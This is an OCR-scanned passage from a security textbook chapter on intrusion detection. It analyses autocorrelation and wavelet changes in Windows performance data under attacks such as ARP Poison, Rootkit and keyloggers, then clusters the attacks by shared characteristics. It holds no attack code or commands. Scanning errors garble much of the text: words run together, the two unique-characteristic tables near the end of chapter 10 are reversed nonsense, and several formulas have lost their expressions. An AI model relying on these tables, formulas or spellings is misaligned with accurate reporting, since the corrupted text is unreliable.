characteristics in the Process object (see Finding 5 in Table 10.5).

The Rootkit and Software Keylogger attacks introduce the autocorrel ation increase charac-
teristicstoalargenumber of objects, whilethe ARP Poi son attack introducestheautocorrel ation
decrease characteristics to alarge number of objects (see Finding 6 in Table 10.5). Findings
7-11 indicate a few objects that affect the IP, ICMP, Memory, Objects, and Server objects.

Note that the mean feature described in Chapter 8 does not reveal any attack characteristic
for the subtle Hardware Keylogger attack. However, the autocorrel ation feature described in
this chapter reveals alarge number of attack characteristics for this attack, including the auto-
correlation increase characteristicsin 7 objects and the autocorrel ation decrease characteristics
in 6 objects. Among al the nine attacks, the Hardware Keylogger attack also causesthe largest
number of both autocorrelation increase and autocorrelation decrease characteristics in the
Process object.

10.3.4 Attack groupings based on the same and opposite
attack characteristics

Table 10.6 summarizes the number of the same attack characteristics (including both autocor-
relation increase and autocorrel ation decrease) shared by each pair of the attacks. For example,
the Apache Resource DoS attack has 13 attack characteristics which also appear in the ARP
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Table 10.5 A comparison of findings between the autocorrelation increase and autocorrelation
decrease characteristics

Mean decrease

Findings in comparison Mean increase characteristic characteristic
1. Total number of objects 15 15
affected
2. Objectswith exclusive ICMP, Redirector, TCP Paging File, Server, Server
characteristic (either Work Queues
autocorrelation increase or
autocorrel ation decrease but
not both) in any attack
3. Object(s) affected by most Process (affected by all 9 Process (affected by all 9
attacks attacks), Cache, attacks)
LogicalDisk, Network
Interface, and Physical
Disk (affected by 8 out of
9 attacks except Remote
Dictionary)
4. Objects affected by only IP and Memory (affected by | P (affected by ARP Poison)
one attack Software Keylogger),
Redirector (affected by Paging File (affected by
Security Audit), Software Keylogger),
TCP (affected by Rootkit) Server Work Queues
(affected by Security
Audit)
5. Significant attack effect on Hardware Keylogger (34 Hardware Keylogger (19
Process variables), Rootkit (23 variables)
variables)
6. Attack(s) affecting most Rootkit (11 out of 15 ARP Poison (10 out of 15
objects objects), Software objects)
Keylogger (11 out of 15
objects)
7. A few attacks affecting ARP Poison, Rootkit,
ICMP Security Audit
8. A few attacks affecting IP Software Keylogger ARP Poison
9. A few attacks affecting Software Keylogger Apache Resource DoS,

Memory

10. A few attacks affecting

Objects

11. A few attacks affecting

Server

Distributed DoS, Remote
Dictionary, Rootkit,
Vulnerability Scan

ARP Poison, Distributed
DoS, Rootkit, Software
Keylogger

Apache Resource DoS,
Software Keylogger

Remote Dictionary,
Security Audit
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Unweighted pair-group average
Dissimilarities from matrix
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Figure10.4 The hierarchical clustering of the attacks based on the same autocorrelation change char-
acteristics and the average linkage method of hierarchical clustering.

Poison attack. The following formula is used to calculate the dissimilarity for each pair of
attacks:

1
Dissimilarity = (10.2)

where n isthe number of the shared attack characteristics between the pair of the attacks. The
dissimilarity value measures the distance between a pair of attacks. A larger value of n for a
pair of attacks produces a smaller dissimilarity value which means asmaller distance between
the pair of attacks. The dissimilarity valuesfor al pairs of the nine attacks are used to produce
a hierarchical clustering of the nine attacks as shown in Figure 10.4, based on the average
linkage method of the hierarchical clustering procedurein Statistica[2]. Using Ward'slinkage
method of the hierarchical clustering procedurein Statisticaproducesthe clustering of thenine
attacks as shown in Figure 10.5.

Considering the clusters with the linkage distance smaller than 0.035 in Figure 10.4 and the
clusters with the linkage distance smaller than 0.04 in Figure 10.5, both the average linkage
method and Ward's linkage method produce the same six groups of attacks as follows:

e Group S1 (‘S standsfor ‘Same’): Distributed DoS, Rootkit, and ARP Poison
e Group S2: Hardware Keylogger and VVulnerability Scan
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Ward's method
Dissimilarities from matrix
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Distributed

Rootkit

Hardware
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Security

0.00 0.05 0.10 0.15 0.20 0.25 0.30

Linkage Distance

Figure10.5 The hierarchical clustering of the attacks based on the same autocorrelation change char-
acteristics and Ward's linkage method of hierarchical clustering.

e Group S3: Apache Resource DoS

e Group $4: Software Keylogger

e Group S5: Remote Dictionary

e Group S6: Security Audit.

Considering the clusters with the linkage distance smaller than 0.07 in Figure 10.4 and the

clusters with the linkage distance smaller than 0.11 in Figure 10.5, both the average linkage
method and Ward's linkage method produce the same two large groups of attacks as follows:

e GroupLsl(‘ls standsfor‘Largely same’): Distributed DoS, Rootkit, ARP Poison, Hardware
Keylogger, Vulnerability Scan, Apache Resource DoS, and Software Keylogger

e Group Ls2: Remote Dictionary and Security Audit.

The attacks within each group are similar with regard to their shared attack characteristics.
The Distributed DoS, Rootkit and ARP Poison attacks are grouped together in S1 because

the three attacks share the three largest numbers of the same attack characteristics (48, 36

and 33 in Table 10.5) among them. The three attacks share the same attack characteristicsin
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Unweighted pair-group average
Dissimilarities from matrix
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Figure 10.6 The hierarchical clustering of the attacks based on the opposite autocorrelation change
characteristics and the average linkage method of hierarchical clustering.

various objects, including 21 Process variables, 5 Cache variables, 4 Processor variables, 3
Network Interface variables, 2 LogicalDisk variables, 2 PhysicalDisk variables, and 1 UDP
variable, possibly due to their similar network activities.

The Hardware Keylogger and Vulnerability Scan attacks are grouped together in S2 be-
cause they share 32 attack characteristics (see Table 10.5) in various objects, most of which
are Process, Processor and PhysicalDisk variables. Hence, Hardware Keylogger and Vulner-
ability Scan may be similar in their processing activities and interaction with the physical
disk.

Table 10.7 summarizes the number of the opposite attack characteristics between each pair
of the attacks. Two attack characteristics for a given pair of attacks are opposite if the same
variable hasthe autocorrel ation increase characteristic under one attack and the autocorrel ation
decrease characteristic under another attack. The two variables, Process(mmc) % Processor
Time, which measures the percentage of time that the mmc process have used the processor
to execute instructions, and Process(mmc) % User Time, which measures the percentage of
time that the mmc process has spent executing code in the user mode, have the autocorrelation
increase characteristic under the Apache Resource DoS attack, but have the autocorrelation
decrease characteristic under the ARP Poison attack. These aretwo of the seven opposite attack
characteristics between the Apache Resource DoS and ARP Poison attacks.
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Ward's method
Dissimilarities from matrix
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Figure 10.7 The hierarchical clustering of the attacks based on the opposite autocorrelation change
characteristics and Ward's linkage method of hierarchical clustering.

The number of the opposite attack characteristics between each pair of the nine attacks is
taken asadissimilarity valuebetweenthe pair of theattacksand isused to produce ahierarchical
clustering of the nine attacks as shown in Figure 10.6, based on the average linkage method of
thehierarchical clustering procedurein Statistica. Figure 10.7 showsthe hierarchical clustering
of the nine attacks based on Ward's linkage method.

Considering the clusters with the linkage distance smaller than 5 in Figure 10.6 and
the clusters with the linkage distance smaller than 8 in Figures 10.7, both the average
linkage method and Ward's linkage method produce the same three groups of attacks as
follows:

e Group O1 ('O’ stands for ‘Opposite’): Distributed DoS, Rootkit, Apache Resource DoS,
Security Audit, ARP Poison, and Vulnerability Scan

e Group O2: Hardware Keylogger and Software Keylogger

e Group O3: Remote Dictionary
Notethat the Distributed DoS and Rootkit attacks are grouped together in group O1 because

the number of opposite characteristics between them is zero (see Table 10.7). Since not having
any opposite attack characteristics does not necessarily imply the closeness of the two attacks,
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the two attacks can be removed from group O1 into two separate groups, producing the attack
groups as follows:

e Group ol (‘o' stands for ‘opposite’): Apache Resource DoS, Security Audit, ARP Poison,
and Vulnerability Scan

Group 02: Hardware Keylogger and Software Keylogger

Group 03: Remote Dictionary
Group o4: Distributed DoS

Group 05: Rootkit.

The grouping result based on the same attack characteristics among the attacks is consistent
with the grouping result based on the opposite attack characteristics among the attacks as
follows:

e The Distributed DoS, Rootkit and ARP Poison attacks in group S1 are grouped together in
group O1.

e The Remote Dictionary attack is different from the other attacks.

The three attacks of Hardware Keylogger, Software Keylogger and Vulnerability Scan are
grouped differently based on the same attack characteristics and the opposite attack character-
istics as follows:

e |n the grouping result based on the same attack characteristics, Hardware Keylogger and
Vulnerability Scan are grouped together in group S2 but are separate from Software

Keylogger.

o |nthe grouping result based on the opposite attack characteristics, Hardware Keylogger and
Software Keylogger are grouped together in O2 but are separate from Vulnerability Scan.

Thetwo attacks of Apache Resource DoS and Security Audit are grouped differently based on
the same attack characteristics and the opposite attack characteristics as follows:

® Inthegrouping result based on the same attack characteristics, thetwo attacksarein separate
groups.

e |nthegrouping result based onthe oppositeattack characteristics, thetwo attacksare grouped
together in O1.

Hence, the attack groups can be classified into the following categories based on both the same
attack characteristics and the opposite attack characteristics among the attacks:

Attack group of similar behavior:

e Group 1: Distributed DoS, Rootkit, and ARP Poison.
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Attack groups of similar behavior in some ways but different behavior in other ways:
e Group 2: Hardware Keylogger, Software Keylogger, and Vulnerability Scan
e Group 3: Apache Resource DoS and Security Audit

Attack groups of different behavior from other attacks:

e Group 4: Remote Dictionary.

The above attack groups are different from the attack groups based on the mean shift character-
istics which are described in Chapter 8 and the attack groups based on the distribution change
characteristics which are described in Chapter 9. This indicates that various attacks manifest
differently in different data features.

10.3.5 Unique attack characteristics

Table 10.8 gives the number of the autocorrelation increase characteristics for each object that
are uniqueto each attack. For example, the ARP Poison attack shows a unique autocorrelation
increase characteristicinthree Cache variables, Cache\ Data M aps/sec, Cache\ Copy Read Hits
%, and Cache\Read Aheads/sec. The Apache Resource DoS attack has the unique autocor-
relation increase characteristics in the Network Interface and Physical Disk objects only. The
Software Keylogger attack produces the unique autocorrel ation increase characteristicsin nine
objects. All nine attacks have the unique autocorrelation increase characteristics in multiple
objects.

Table 10.9 gives the number of the autocorrelation decrease characteristics that are unique
to each attack. For example, the Software Keylogger attack shows a unique autocorrelation
decrease characteristic in Cache\Lazy Write Flushes/sec. Since an autocorrelation increase
characteristic of this variable appears in the Rootkit attack, this variable is also counted as
one opposite characteristic between the Software Keylogger and Rootkit attacksin Table 10.7.
The Rootkit attack has the unique autocorrelation decrease characteristics in the Process and
Processor objects only. The Vulnerability Scan attack has the unique autocorrelation charac-
teristicsin the Cache and Process objectsonly. All nine attacks have the unique autocorrel ation
increase characteristics in multiple objects.

104 SUMMARY

This chapter describes the autocorrel ation change characteristics of the nine attacks, excluding
the Fork Bomb and FTP Buffer Overflow Attacks due to their short attack durations. The
attack groupings based on the same attack characteristics and the opposite attack character-
istics are presented, along with the unique attack characteristics of each attack. Although the
subtle Hardware Keylogger attack does not manifest any significant mean shift characteristics,
the autocorrelation feature reveals many characteristics of this subtle attack. See the discus-
sions in Chapters 8 and 9 for implications of the attack data characteristics and the attack
groupings in selecting the optimal set of attack data characteristics, helping investigate novel
attacks, enhancing detection performance through extracting subtle attack features, detecting
and identifying activities other than cyber attacks, and helping prevent attack evasion.



r4 dan
4 r4 T T UOSSSS S90IAJBS [eUILB L

T dol

T T T Z welsAS

r4 Jojoe11pey

Y4 Z Y4 10SSa20.1d

€ 9 r4 g 9 T T r4 6 SS800.d

% 9 I4 € ysiaeosiud

4 T aJejlelu| YIOMBN

I Alows N

Z 9 T T Z T ¥s1apeoibo

€ dl

T z € ayoed

Aljiceeuinp 21eM)os A1unoes 1131004 ajowey aempreH peInquIsia ddv ayzedy spelgo

Syeny

SRR aU) J0J SONS LBlde YD 888Ul UOITR [PAI000IMe anbiun Jo lBquinuayl 80T a|qel



4

1

™

™

9

4

[4)

N

T

wesfs

sanen® oM\ Jenes
NS

10SS920.1d

SS320.1d
ysiaeosAud

3|14 bu1Bed
spelgo

aJeJleu| YIOMBN
Alows N
¥s1aeoifon

di

ayoe)d

AjigessuinA

9:eM0S

Aunoses

11004 alowy

alempleH

ddv

aysedy

Syoeny

$199100

SYJe1e au1 J0} SoISLiB1deeyd 8529109 UOIR [.10001Me anbiun Jo Jsquinuayl 60T @|gel



196 Autocorrelation change characteristics

REFERENCES

1. R. A. Yaffee, Introduction to Time Series Analysis and Forecasting. San Diego, CA: Aca
demic Press, 2000.

2. G.E. P Box, and G. M. Jenkins, Time Series Analysis: Forecasting and Control, 2nd edn.
San Francisco, CA: Holden-Day, 1976.

3. Statistica, www.statsoft.com.



11

Wavelet change characteristics
of attack and normal use data

Many objects have periodic behavior and emit special signalsat a certain frequency [1, 2]. For
example, the ARP Poison attack sendsthe ARPreplieswith thefalseM AC addresstothevictim
computer at agiven frequency. Thefrequency of signal in dataover time haslong been used for
signal detection or object identification dueto thefact that many objects havetheir special time-
frequency signal characteristics. Fourier analysis has traditionally been used to analyze and
represent signal frequencies. However, Fourier analysis does not reveal the specific timeloca
tion of agiven frequency characteristic. Wavel et analysisallowsthe analysisand representation
of time-frequency signal in both frequency characteristics and their timelocations [3, 4]. This
chapter describes wavel et analysisto extract the wavel et feature of attack and normal use data.
By comparing the wavel et feature of data collected under inactive, attack and norm conditions,
wavelet change characteristics for the eleven attacks described in Chapter 7 are uncovered.

In this chapter, five wavelet forms, including the Paul wavelet, the Derivative of Gaussian
(DoG) wavelet, the Haar wavel et, the Daubechieswavel et, and the Morlet wavelet [1, 2] which
represent the five data patterns of spike, random fluctuation, step change, steady change,
and sine-cosine with noise described in Chapter 9, respectively, are analyzed to uncover the
wavelet change characteristics of attack and normal use data. At first, the wavelet analysisis
first introduced using the example of the Haar wavelet. The procedure of analyzing the wavel et
signal strength and its change from the inactive condition to the attack condition to uncover the
attack data characteristicsis then described. Finally, the wavel et change attack characteristics
are presented.

11.1 THE WAVELET FEATURE OF DATA

A wavelet formisdefined by two functions: the scaling function, ¢(x), and thewavel et function,
¥ (x). For example, ¢(x) and ¥ (x) of the Haar wavelet are defined below [3]:

%) 1 fo<x<1 (11.1)
X) = .
¢ 0 elsawhere

Secure Computer and Network Systems: Modeling, Analysisand Design  Nong Ye
© 2008 John Wiley & Sons, Ltd
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1 if <X < }
Y(X) = 9(2X) — p(2x — 1) = 2 (11.2)
-1 if <1

<X

NI~ O

Figure 11.1a and Figure 11.1b give the graphic representation of ¢(x) (the step function) and
¥ (X) (the wavelet function). In the Haar wavelet, ¢(x) is a unit step function. Figure 11.1c
shows ¢(2x), a step function with the same height of 1 but a narrower range of x values in
[O, %), and ¢(x — 1), astep function with the same height but shifted to theright by 1 unit. The
move of the x rangeis called the shift, and the widening or contraction of the x range is called
the dilation. A sample of time seriesdata, a;, t = 1,2, ..., N, N = 2%, from afunction, f(x),
can be transformed into a sample of time seriesdata, a,i =0, 1, 2, ..., (2 — 1), which can
be represented using the scaling function of the Haar wavelet as follows:

a =ae@x—1i), (11.3)

-
|

0 1 0 1/2 1

(@)

-1 e —O
(b)
1 T 1 | ® O
0 - 0 -

0 1/2 1 0 1 2

(©) (d)

Figure 11.1 The basic, shifted, dilated functions for the Haar wavelet: (a) ¢(x), (b) ¥ (x), () ¢(2x),
and (d) p(x — 1).
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wherexisintherangeof [i /2%, (i + 1)/2¥) for a;. Thus, thefunction, f (x), can beapproximated
using the sample data as the following:

fx) =) ap@x—i). (11.4)
The following relations exist between ¢(x) and v (x) [3]:
P(2571X) = 9(2*X) + ¢(2x — 1) (11.5)
U(21X) = p(2X) — (2 — 1), (11.6)
or
P29 = 2 [p(@ ) + y (2] (117)
p(2*x — 1) = % [0(2x) — v (2 X)]. (11.8)

Formulas 11.5 and 11.6 indicate that for the two step functions at the initial ranges, [0, 1/2%)
and [1/2, 2/2%), respectively, the step function, ¢(2<~x), at the wider range or the lower
frequency, [0, 1/2%°1), gives the average of the two initial step functions, and the wavelet
function, v (2¢~1x), also at the lower frequency, measures the difference of the two initial step
functions. Formulas 11.7 and 11.8 can be used to transform the pair of the two initial step
functionsinto the step function and the wavel et function at the lower frequency. Thisiscalled
the wavelet transform. Formulas 11.5 and 11.6 can be used to reconstruct the initial two step
functions from the step function and the wavel et function at the lower frequency.
Formulas 11.5-11.8 can be applied to location i as follows:

02X — i) = (2% — ) + p(2x —i — 1) (11.9)
Y X —i) = o@% —i) — p(@*x —i — 1), (11.10)
or
0@ ~1) = 2 [p@x — 1)+ (@~ )] (11.11)
P(2x —1—i) = % [p(2 % —i) =y (2 —1)]. (11.12)

For aseries of step functionsin Formula 11.4 representing the data sample at the frequency of
12% a,i =0,1,2, ..., (2 — 1), eachpair of thestep functionsin Formulall.4istransformed
into the step functions and the wavel et functions at various locationsfor the lower frequency of
1/2%-1 using Formulas 11.11 and 11.12. The step functionsfor the frequency of 1/2<~* canthen
be transformed again using Formulas 11.11 and 11.12 into the step functions and the wavel et
functions at the next lower frequency of 1/25-2. The wavel et transform can continue until there
remains only one step function for the range of (0, 1), aong with the wavelet functions at
various frequencies of 1, 1/2, ..., 1/2k-1. In the final wavelet transform of the data sample,
thereisone step function at the frequency of 1, one wavelet function at the frequency of 1, two
wavelet functions at the frequency of 2, and 2¢~* wavelet functions at the frequency of 1/2<~1.
Formulas 11.9 and 11.10 can be used to reconstruct the data sample using the step function,
the wavelet functions and their coefficientsin the final wavelet transform.
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The Paul wavelet, the Derivative of Gaussian (DoG) or Mexican Hat wavelet, the Haar
wavelet, the Daubechies D4 wavelet (simply called the Daubechies wavelet in the following
text), and the Morlet wavelet [3-6], are chosen to extract and approximate the spike, random
fluctuation, step change, steady change, and sine-cosine with noise data patterns observed
in the Windows performance objects data as described in Chapter 9. Figure 11.2 gives the
graphic illustration of the Paul wavelet, the DoG wavelet, the Daubechies wavelet, and the

Morlet wavelet.

03 [~
0.0 BN
. o
-0.3 . ! )
-4 -2 0 2 4
Paul wavelet
0.3
0.0 frmee —
_03 1 1 1 1
—4 2 0 2 4
DoG wavelet
1 -
0 -
-1 4
0 50 100 150 200
Daubechies wavelet
1
0.5
0
-0.5
17 -2 0 2 4

Morlet wavelet

Figure 11.2 The Paul wavelet, the Derivative of Gaussian wavelet, the Daubechies wavelet, and the
Morlet wavelet.
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11.2 DISCOVERING THE WAVELET CHANGE
CHARACTERISTICSFOR ATTACKS

For the collected data of the Windows performance objects described in Chapter 7, the same
datascreening procedureasdescribedin Section 8.2 isperformed to eliminatethe datavariables
which have the observations of the same value under all three conditions: the inactive, attack
and norm conditions. Each of the remaining data variables is analyzed to extract the wavelet
feature and discover the wavelet change characteristics of attack and normal use data.

For the data sample of a given data variable under each condition (inactive, attack and
norm) of the collected data, the wavelet transform is performed using each of the five wavel et
forms. The statistical toolbox of MATLAB Version 6.5.0.180913a (R13) is used to perform
the wavelet transforms and obtain the wavelet coefficients. For the wavelet transform using
the Haar and Daubechies wavelets, the k value of 8 is applied to a data sample of 256 data
observations. Three frequency bands are defined with the low frequency band containing the
threelowest frequencies, the high frequency band containing the three highest frequencies, and
the medium frequency band containing the remaining two frequencies [6]. For the Paul, DoG
and Morelet wavel et transforms applied to each data variable, there are 29 frequencies for 256
data observations. These frequencies are considered to fall into three frequency bands: the low
frequency band containing the eight lowest frequencies, the high frequency band containing
the twelve highest frequencies, and the medium frequency band containing the remaining nine
frequencies [6].

For each wavel et transform of each variableunder each condition (inactive, attack and norm),
the Signal Strength (SS) at each frequency band is computed using the wavelet coefficients at
that frequency asfollows:

SS==> " wj, (11.13)

where w; is a wavelet coefficient and n is the total number of wavelet coefficients at that
frequency band. The analysis of variance (ANOVA) is then carried out in the following

steps:

1. For the 10-minute data under the inactive condition and the attack data for the entire attack
period from Run 1 of thedatacollection, perform an ANOVA with two independent variables
of frequency band and condition and the dependent variable of the signal strength. The
condition has two levels: inactive and attack. The frequency band has three levels: low,
medium, and high. The SS value for a frequency in a given frequency band under a given
condition is a data observation for that combination of the frequency and the condition.
For example, there are eight data observations of SS from a Haar transform of a data
variable under a given condition. The ANOVA test along with the Tukey test, which is
carried out using the statistical toolbox of MATLAB, reveals whether or not there is a
significant difference or change of SS from the inactive condition to the attack condition
at each frequency band. If there is a significant change of the signal strength at a given
frequency band, this change of the wavelet signal strength is considered a wavelet change
attack characteristic. For example, if the signal strength from the Haar transform of agiven
data variable at the low frequency has a significant increase from the inactive condition to
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the attack condition, the data variable is marked with an attack characteristic denoted by
WHL+ which stands for Wavelet, Haar transform, Low frequency, and increase (+). The
five wavelet transforms are denoted by:

e Pfor the Paul transform

e D for the DoG transform

e H for the Haar transform

e Dafor the Daubechies transform

e M for the Morlet transform.

The three frequency bands are denoted by:
e L for thelow frequency band

e M for the medium frequency band

e H for the high frequency band.

2. Repeat Step 1 but replace the 10-minute inactive data and the attack data from Run 1 with
the 10-minute inactive data and 10-minute norm data of text editing from Run 2 of the data
collection to identify the wavel et change characteristics of the text editing norm.

3. Repeat Step 1 but usethe 10-minuteinactive dataand 10-minute norm data of web browsing
from Run 3 of the data collection to identify the wavelet change characteristics of the web
browsing norm.

For each attack, each wavelet change characteristic of the attack is examined to seeif the same
characteristic (the same variable with the same wavelet change) also manifests as the data
characteristic of either text editing or web browsing. If so, this wavelet change characteristic
of the attack is removed from the initial list of the wavelet change characteristics for the at-
tack. Removing such attack characteristics of the attack which also appear in either normal
use activity produces the final list of the wavelet change characteristics for the attack. Fig-
ure 11.3 summarizes the procedure of discovering the wavelet change characteristics for the
attacks.

As discussed in Chapter 8, although the above procedure focuses on the wavelet change
characteristics of each attack, the wavelet change characteristics of each normal use activity
can aso be revealed in a similar manner. Ultimately, instead of classifying the activities into
two categories of attack and normal use, each individua activity can be considered as a
distinct category for identifying each distinct activity for purposes other than cyber attack
detection.

Note that the wavelet change attack characteristics obtained from the above procedure
involve the change of the wavelet signal strength at a given frequency band from the inactive
condition to an attack condition. Other kinds of wavelet change characteristics, such as the
change of thewavelet form from the inactive condition to the attack condition, are not covered.
Asdiscussed in Chapter 9, the spike, random fluctuation, step change, steady change and sine-
cosine with noise data patterns, with which the wavel et forms are associated, can be linked to
the skewed, normal, multimodal, uniform distributions. Hence, the distribution change attack
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Figure11.3 The procedure of discovering mean shift characteristics for eleven attacks.

characteristics described in Chapter 9 can be used to gain insightsinto the change of the wavel et
form from the inactive condition to the attack condition.

11.3 WAVELET CHANGE ATTACK CHARACTERISTICS

In Section 11.3.1, some examples of the attack characteristicsin wavelet change areillustrated
and explained. In Section 11.3.2, the findings of the wavelet change attack characteristics
by attacks and by Windows performance objects are presented. In Section 11.3.3, the attack
groupingsbased on the sameand opposite attack characteristicsamong the attacksare presented
and discussed. In Section 11.3.4, the unique attack characteristics are summarized.

11.3.1 Examples of wavelet change attack characteristics

Table 11.1 gives some examples of the attack characteristicsin wavelet change. For example,
under the ARP Poison attack, there is a wavelet change attack characteristic of WDL— in
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Process(_Total)\Page Faults/sec. This data variable measures the rate at which page faults
occur in the threads of this process. A page fault occurs when a thread refers to a virtual
memory page that is not in its working set in the main memory. The signal strength of the
DoG wavel et transform at the low frequency band decreases from the inactive condition to the
attack condition. The DoG wavelet signals of the random page faults at the low frequencies,
which appear under the inactive condition, are reduced under the attack possibly because
the intensive, repetitive ARP replies from the attacker to the victim computer keep the victim
computer busy in responding to them. Thisleaves|essresource availableto run the background
processes that occur in the inactive condition and produce the DoG wavel et signals at the low
frequency band.

11.3.2 Wavelet change attack characteristics by attacks and Windows
per for mance obj ects

Tables11.2—-11.6 present the number of variableswith thewavel et change attack characteristics
in the Paul, DoG, Haar, Daubechies, and Morlet wavelet transforms, respectively. In Tables
11.2-11.6, the following notations of variable names are used.

e O1: Cache

e O2: 1P

e O3: LogicalDisk

e O4: Memory

e O5: Network Interface
e 06: Objects

e O7: Paging File

e O8: PhysicalDisk

e 09: Process

e O10: Processor

e O11: Redirector

e O12: Server

e 0O13: System

e 014: TCP

e O15: Terminal Services Session.

Table 11.7 givesacomparison of the major findingsin the wavel et change attack characteristics
based on the five wavelet transforms.
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Finding 1 in Table 11.7 indicates that totally 14, 13, 9, 15 and 14 performance objects
have the wavel et change characteristics based on the Paul, DoG, Haar, Daubechies and Morlet
wavelet transforms, respectively. The following objects manifest the wavelet change attack
characteristics based on all the five wavelet transforms:

e Ol: Cache

e O3: LogicalDisk
e O4: Memory

e O8: PhysicalDisk
e O9: Process

e O10: Processor
e (O13: System

e O14: TCP.

Finding 2 in Table 11.7 states that the Server object manifests the wavelet change attack
characteristics for only the Haar wavelet transform.

The Process object is affected by most of the attacks in the wavelet change attack charac-
teristics (see Finding 3 in Table 11.7). Hence, the Process object is affected by most of the
attacks consistently in the attack characteristics based on the mean shift, distribution change,
autocorrel ation change and wavel et change characteristics. The Rootkit attack producesalarge
number of the wavelet change attack characteristics in the Process variables consistently for
all the five wavelet transforms. Finding 4 in Table 11.7 indicates the attacks, including mainly
the Remote Dictionary and Software Keylogger attacks, which affect the largest number of
objects in the wavelet change attack characteristics. Note that the subtle Hardware Keylog-
ger attack again manifests many attack characteristics in the wavelet feature of the data as
seen in the attack characteristics based on the distribution change and autocorrelation change
characteristics, although thisattack does not produce any significant mean shift characteristics.

Given the large number of the attack characteristics for each attack, it isimportant to select
a small set of variables, preferably those with the same or opposite characteristics among
the attacks, which give a unique combination of the attack characteristics for each attack,
as discussed in Chapter 8. An optimization problem of finding the smallest number of such
variables is described in Chapter 18.

11.3.3 Attack groupings based on the same and opposite
attack characteristics

Table 11.8 summarizesthe number of the sameattack characteristicsby each pair of the attacks.
The same attack characteristic has the same notation, e.g., WPL+, for the same variable. For
example, the Apache Resource DoS attack has 68 wavel et change attack characteristicswhich
also appear in the Remote Dictionary attack. The following formula is used to calculate the
dissimilarity for each pair of attacks:

T 1
Dissimilarity = - (11.19)
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Wavelet change characteristics

Apache
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Figure11.4 Thehierarchical clustering of the attacks based on the same attack characteristics and the
average linkage method of hierarchical clustering.

where n is the number of shared attack characteristics between the pair of attacks. The dis-
similarity value measures the distance between a pair of attacks. A larger value of n for apair
of attacks produces a smaller dissimilarity value which means a smaller distance between the

pair of attacks.

Thedissimilarity valuesfor all pairs of the eleven attacks are used to produce a hierarchical
clustering of the eleven attacks as shown in Figure 11.4, based on the average linkage method
of the hierarchical clustering procedure in Statistica[7]. Using Ward's linkage method of the
hierarchical clustering procedure in Statistica produces the clustering of the eleven attacks as

shown in Figure 11.5.

Apache
Distributed
ARP

Fork
Hardware
Security
Software
Rootkit
Remote
FTP
Vulnerability

0.00

Ward’s method
Dissimilarities from matrix

0
)
-
|+

0.01

0.02 0.03 0.04 0.05

Linkage Distance

Figure 11.5 The hierarchical clustering of the attacks based on the same attack characteristics and
Ward's linkage method of hierarchical clustering.
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Table 11.9 summarizes the number of the opposite attack characteristics between each
pair of attacks. Two attack characteristics for a given pair of attacks are opposite if the same
wavel et of the same variable at the same frequency band hasthe signal strength increase under
oneattack but thesignal strength decrease under another attack from theinactive condition. The
number of opposite attack characteristics between each pair of the eleven attacksistaken asa
dissimilarity value between the pair of attacks and is used to produce a hierarchical clustering
of the eleven attacks as shown in Figure 11.6, based on the average linkage method of the
hierarchical clustering procedurein Statistica. Figure 11.7 showsthe hierarchical clustering of
the eleven attacks based on Ward's linkage method and the opposite attack characteristics.

The attacks are grouped in asimilar manner in Figures 11.4-11.7, with the following attack
groups that are consistently present in Figures 11.4-11.7:

e Group 1: Apache Resource DoS, Distributed DoS, ARP Posion, Fork Bomb, Hardware
Keylogger, Security Scan, Software Keylogger, and Rootkit, including the subgroups of

o Apache Resource DoS, Distributed DoS, ARP Poison, and Fork Bomb
o Security Scan and Software Keylogger

e Group 2: Remote Dictionary, FTP Buffer Overflow, and Vulnerability Scan (in Figure 11.6
only, FTP Buffer Overflow is separated from the group of Remote Dictionary and Vulnera-
bility Scan).

These attack groups indicate how the eleven attacks are similar or different in their time-
frequency signals at various frequency bands. For example, the subgroup of the Apache Re-
source DoS, Distributed DoS, ARP Poison and Fork Bomb attacks in group 1 indicates that
these attackslikely have similar activities producing similar wavel et signals at similar frequen-
ciesinsimilar datavariables. Notethat all theattacksinthissubgroup inducerepetitivedemands
for computer and network resources. The Security Scan and Software Keylogger attacks in
another subgroup of group 1 likely produce similar wavelet signals at similar frequenciesin
similar variables, and so are the attacksin group 2.

The Apache Resource DoS and Fork Bomb attacks in one subgroup of group 1 based on
the wavelet change attack characteristics are also grouped in group 1 based on the mean shift
attack characteristics described in Chapter 8. The ARP Poison and Fork Bomb attacks in
one subgroup of group 1 based on the wavelet change attack characteristics are also grouped
together based on the distribution change attack characteristics described in Chapter 9. The
Distributed DoS, Rootkit, and ARP Poison attacks in group 1 based on the wavelet change
attack characteristics are grouped together in group 1 based on the autocorrelation change
attack characteristics described in Chapter 10.

11.3.4 Unique attack characteristics

Tables 11.10-11.14 give the number of the unique wavel et change attack characteristics based
on the Paul, DoG, Haar, Daubechies and Morlet wavelet transforms, respectively. An attack
characteristic is uniqueto agiven attack if thisattack characteristic appearsonly in that attack.
InTables11.10-11.14, O16 representsthe UDP object. Theunique attack characteristics, along
with the same and opposite attack characteristics among the attacks, can be useful in revealing
the robust nature underlying the attacks.
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Figure11.6 The hierarchical clustering of the attacks based on the opposite attack characteristics and
the average linkage method.
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Figure11.7 Thehierarchical clustering of the attacks based on the opposite attack characteristics and
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11.4 SUMMARY

Both thewavel et feature and the autocorrel ation feature described in Chapter 10 reveal relations
of data observations over time. The autocorrelation feature focuses on the genera autocorre-
lation aspect of time series data, whereas the wavelet feature focuses on special forms of
time-frequency data patterns. Both the wavelet transforms and the probability distributions
described in Chapter 9 are linked to certain data patterns. The distribution feature describesthe
general pattern of the data, whereas the wavel et feature reveal s time locations and frequencies
of specia data patterns. Hence, the wavel et feature reveal s more special data features than the
distribution feature and the autocorrel ation feature described in Chapters9 and 10, respectively.

This chapter describes the wavelet change attack characteristics of the eleven attacks. The
attack groupingsbased on the same attack characteristics and the opposite attack characteristics
are presented, along with the unique attack characteristics of each attack. Note that the attack
groupings based on the different data features in Chapters 8-11 are different, revealing the
sophisticated nature of their similar and different behavior on computers and networks. The
different attack groupingsbased onthedifferent datafeatures give many perspectivesof looking
into the sophisticated nature of the attacks' similarity and difference to gain insights into the
classification of attack behavior, which in turn will help detect and identify unknown, novel
attacks. Seethediscussionsin Chapters8 and 9 for implicationsof theattack datacharacteristics
and the attack groupings in selecting the optimal set of attack data characteristics, helping
investigate novel attacks, enhancing detection performance through extracting subtle attack
features, detecting and identifying activities other than cyber attacks, and helping prevent
attack evasion.
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Part |V

Cyber Attack Detection: Signature
Recognition

Signature recognition isaconventional methodol ogy used by most intrusion detection systems
in practical use. This methodology takes the following steps:

1. Capture, represent and store signature patterns of attack data.

2. Monitor data from a computer and network system to look for a match to some of attack
signatures, and generate an alarm of an attack if a match isfound.

Attack signatures can be captured manually by human analysts. Attack signatures can also be
